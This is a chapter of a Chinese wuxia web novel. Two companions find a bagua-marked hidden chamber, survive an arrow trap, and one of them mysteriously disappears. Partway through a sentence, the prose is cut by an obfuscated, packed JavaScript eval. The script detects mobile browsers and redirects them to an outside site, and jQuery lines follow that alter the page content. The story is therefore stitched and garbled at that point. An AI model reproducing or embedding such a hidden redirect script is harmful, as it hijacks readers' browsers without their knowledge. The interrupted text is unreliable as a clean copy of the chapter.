56.卦转乾坤通幽隐,矢落鸿影断尘踪
作品:《江湖游鱼》 章予收回伸向书籍的手,与无尘对视一眼,无尘脸上惯有的轻松神色收了几分,他无声地指了指上方,又将这一根手指抵在唇前,示意噤声。
章予点点头,将匕首反握在手中,刀身贴着小臂,她侧耳细听,楼上再无动静。
她对三水道:“我们二人身形快,又不懂什么毒经药方的,上去看看。你在这里继续找,也好应付意外情况。”
三水亦知自己留在外面接应更为紧要,因此她也未做争辩,只道:“一切小心。”
章予放轻脚步,向通往二楼的楼梯挪去,楼梯是木制的,看起来有些年头,踩上去会发出吱呀吱呀的响声,让章予莫名觉得不安。
无尘跟在她身后,手也按在了腰间佩剑的剑柄上,尽管他剑术平平,此刻也算是个依仗。
二楼比一楼更加昏暗,几乎没有任何窗户,全靠从楼梯口透上来的些许微光,这层楼没有堆积如山的书籍,反而显得空旷,这倒让章予有些说不上来的诡异感。
章予适应了一下光线,才看清离楼梯最近处,立着一个半人高的青铜器物,形似鼎,却又非鼎,表面刻满了密密麻麻的纹路,凑近去看,这纹路并非寻常花卉鸟兽,而是一个十分复杂的图案,约莫有桌面大小,图案中心是阴阳鱼,外围则环绕着乾、坤、震、巽、坎、离、艮、兑的卦象符号,但排列顺序与常见的八卦图颇有不同,几个卦位似乎被刻意调换或颠倒。
更远处,靠墙立着几个木架,架上并非书籍,而是摆放着一些陶罐、石盘,以及几件造型奇特的金属器件,有的像勺子,有的像尺规,上面也大多刻有符号或简易的卦象。
“这里不像藏书的地方啊。”无尘环顾四周,提出了章予心中所想,“倒像是个摆弄阵法或者祭祀的场所。”
章予无声叹一口气,忍不住吐槽:“大启这些人都这么喜欢阵法吗?知道的说我在闯荡江湖,不知道的以为我修仙去了。”
无尘笑道:“只能说你和五行八卦这些东西太有缘分,你实在觉得不尽兴,可以去拳门棍门什么的让他们打你一顿。”
章予盯着那幅地面上的八卦图案,头也不回地和无尘拌嘴:“这倒不必,哪天先把你送进佛寺学学少说话,容易有口孽。”
无尘挑挑眉,倒也不置可否,凑过来和章予一起研究图案。
这图案的异常排列,看起来倒是并不难懂。章予蹲下身,指尖悬空,虚点着地面上那被调换位置的几个卦象,“乾为天,坤为地,震为雷,巽为风。这里,震巽位置对调了,坎离的位置也不对。”
无尘道:“这不是最简单的五行八卦吗,我们早都知道了,有这么简单?”
章予站起身,目光扫向四周墙壁,二楼房间呈不规则的八角形,除了他们上来的楼梯口,其余墙面看起来都是实心的石壁,并无门户痕迹。
章予看过去,目光在一面墙上顿住了,那面墙看起来与其他墙面并无二致,但墙前的地面上,灰尘的痕迹似乎比其他地方稍浅一些,像是曾被什么东西反复擦拭或挪动过。
更重要的是,那面墙对应的方位,恰好与地面上这错位的方位隐隐重合。
“应该是这里了。”章予她走到那面墙前,伸出手,用手指关节依次敲击墙面上几块看起来并无特别之处的石砖,敲击声沉闷,但在敲到第四块偏上方的石砖时,声音似乎有极其细微的空洞感。
无尘凑过来看:“有机关?”
“试试?”章予将手掌贴在那块石砖周围的缝隙处,微微向左旋转了一下手腕。
就在她做完这两个小动作的瞬间,那面看似浑然一体的石墙内部,传来一阵极其轻微、几乎难以察觉的“咯咯”轻响,像是机关被触动。
紧接着,墙面悄无声息地向内滑开一道窄缝,恰好可容一人侧身通过,一股阴冷、陈腐的气息,从门内溢出。
门内一片漆黑,只有更深处隐约有那稳定的暗黄光晕,映出短短一截向下的石阶。
章予和无尘对视一眼,虽说眼中都有惊疑,更多的还是发现了机关的兴奋。
“进去看看好了。”无尘提议道,二人一拍即合,侧身依次走进去。
忽然身后轰隆声响起,章予回头看,门正在快速地合拢。
此时她完全可以施展鬼踪步,在门尚未完全合拢或发生其他异变前退出去,但眼前这扇隐藏得如此巧妙的门,门后可能存在的秘密,对她而言吸引力实在太大,她有隐隐约约的直觉:或许,解毒的关键,或者更惊人的线索,就在里面。
就在这刹那的犹豫间,那扇滑开的石门“咔嚓”一声,严丝合缝,将他们与外界完全隔绝。
“门关了。”无尘的声音在密闭的空间里显得有些闷,他倒没有太多惊慌,反而摸了摸下巴,“这下好玩了,自断后路啊章女侠,有没有梦回太极洞,说不定前面有诸葛歌在等你哦~”
章予抿了抿唇,压下心头微微涌起的些微懊恼和不安,她瞪了无尘一眼:“诸葛歌此时还不知是死是活呢,应该是不会出现在这了。”她深吸了一口阴冷的空气,呛得自己一直在咳嗽,无尘一面笑话她一面拍她背给她顺气。
这么闹腾了一番,章予反而冷静下来了,“没办法了,我们继续往前走吧。看看这鬼地方到底藏着什么。”
她率先踏上向下的石阶,石阶很窄,仅容一人通行,两侧是粗糙的石壁,触手冰凉潮湿,无尘跟在她身后,脚步声在狭窄的通道里回响。
走了几步,无尘忽然开口:“你不觉得还蛮好玩的吗?我们二人可是难得这样单独相处,可算没有那个萧祚天天在你旁边晃悠了。”
章予正全神贯注留意脚下和前方的黑暗,闻言头也没回,随口应道,带着玩笑的意味:“你嫉妒啊?”
身后传来无尘似乎不经意的声音:“对啊,我嫉妒啊。”
章予只当他又在胡说八道,并未理会,毕竟这家伙向来没个正经,说话真真假假,若句句当真,实在是累人。
通道并不长,向下延伸了约莫二三十级台阶后,便转为平直,前方的黑暗被驱散了些,取而代之的是通道两侧壁上嵌着的,相隔数丈一盏的铜灯。
灯盏造型古朴,燃着不知何种油脂,散发出暗黄色的光,昏昏然的,勉强照亮脚下不到一丈见方的地面。
密室幽闭,光线昏暗,但至少能看清脚下的路,不至于完全抓瞎,章予稍微松了口气,不过绷直的身体还是反映出她的紧张。
无尘凑近一侧的石壁,借着昏黄的灯光仔细看去,只见墙壁并非平整,而是由一块块巨大的、未经精细打磨的黑沉沉石块垒砌而成,石块表面凹凸不平,颜色暗沉近乎墨黑,在跳动的火光下,透着一股子不祥的意味。
“啧,”无尘咂咂嘴,收回目光,“这墙看着就让人不舒服,一般这种密道里面,十有八九会有机关吧,你看的那些话本传奇里,不都这么写吗?”
章予正凝神观察前方灯光的间隔和地面石板的接缝,试图找出可能的规律或陷阱,闻言没好气道:“你少乌鸦嘴,安生点走路。”
话音未落,章予脚下刚踏上一块略微下沉的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947682|189445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
石板,那石板猛地向下一陷,“小心!”章予厉喝一声,身形本能地向后急仰。
几乎在同一瞬间,两侧石壁上,那些看似天然凹凸的石块缝隙中,骤然出现数十个黑黝黝的孔洞。
“嗖嗖”破空之声密集响起,无数支短矢从两侧倾巢而出,交织成铺天盖地的罗网,朝着通道中央的两人笼罩而来。
好在这种比拼速度的环节向来难不倒章予和无尘,就在箭矢未出的电光石火间,二人已施展鬼踪步,在箭雨中翻飞腾挪。
二人一人挥动匕首,一人以剑相抵,只听“叮叮当当”一阵密集的脆响,射向二人要害的箭矢已尽数被弹返,钉向两侧墙壁,狠狠地扎入坚硬石壁之中。
箭雨来得快,去得也快,不过两三息功夫,破空声止息,通道内再次恢复死寂,只有暗黄灯光依旧,映照着满地狼藉的短矢,以及惊魂甫定的两人。
章予缓缓直起身,背心已沁出一层冷汗,她扫了一眼地上那些做工粗糙但力道十足的短矢,又看了看两侧石壁上密密麻麻的箭孔,心头有些后怕。
不过她向来乐观,更多的是庆幸她和无尘都会鬼踪步,反应够快,若是三水在此,恐怕十分危险。
无尘也从地上爬了起来,拍了拍沾上的灰尘,脸上依旧是那样风轻云淡的表情,似乎刚才经历的只是一场有趣的游戏,他环顾四周,“诶呀,这和上次在太极洞,我被那块该死的石头卡住大半身子的时候可真像,你说,一会儿会不会又有个沈知遇那样的人物,冷不丁从旁边哪个石头缝里蹦出来呢?”
章予无奈回身道:“刚刚乌鸦嘴引来了机关还不够啊,真要有人藏在这种鬼地方突然窜出来,我能被活活吓死的。”
无尘见她反映,反而笑了,“就是吓死你才有意思嘛,你要是真被吓死了,我就勉为其难把你的魂魄仔细收好,再给你弄回身子里,以后咱们就都是小鬼了,倒是更自在。”
章予懒得再跟他斗嘴,不过有无尘在,倒是让一切凶险的机关都变得妙趣横生了,她定了定神,将匕首握紧开始更加仔细地观察周围环境。
地面是粗糙的石板铺就,接缝处积着厚厚的灰尘,之前他们走动时并未留意,此刻在昏黄光线下,章予却发现,这灰土土的地面上灰尘的分布似乎有些不寻常,有几道痕迹,比其他的灰尘颜色略浅,断断续续,向前方延伸。
她蹲下身,凑近了仔细查看,才意识到那是拖拽的痕迹,不宽,大概只比她的肩膀宽出少许,痕迹边缘不算清晰,像是有什么重物被缓慢地、断续地拖行而过,沿途蹭掉了部分积尘。
痕迹一路向前,没入前方灯光更黯淡的通道深处。
这痕迹是新的吗?还是很久以前留下的?章予心中起疑,五水道长若常孤身来此,不应留下如此明显的拖拽痕迹。
“无尘,你过来看这个。”章予头也不回地低声道,手指虚点着地上的拖痕。
身后没有回应。
通道里静悄悄的,只有她自己略显压抑的呼吸声。
“无尘?”章予提高了些声音,带着疑惑回头。
身后,空无一人。
章予的心猛地一沉,她立刻站起身,目光扫过身后的每一寸地面、墙壁,以及头顶,没有人影,没有血迹,没有打斗痕迹,甚至连多余的脚步声都未曾听见,无尘就像是凭空蒸发了一样。
只有在她刚才站立位置向后几步远的地方,靠近石壁的地面上,静静地躺着一把折扇,正是无尘平日里常拿在手里把玩、偶尔还用来装模作样扇几下风的那一把。

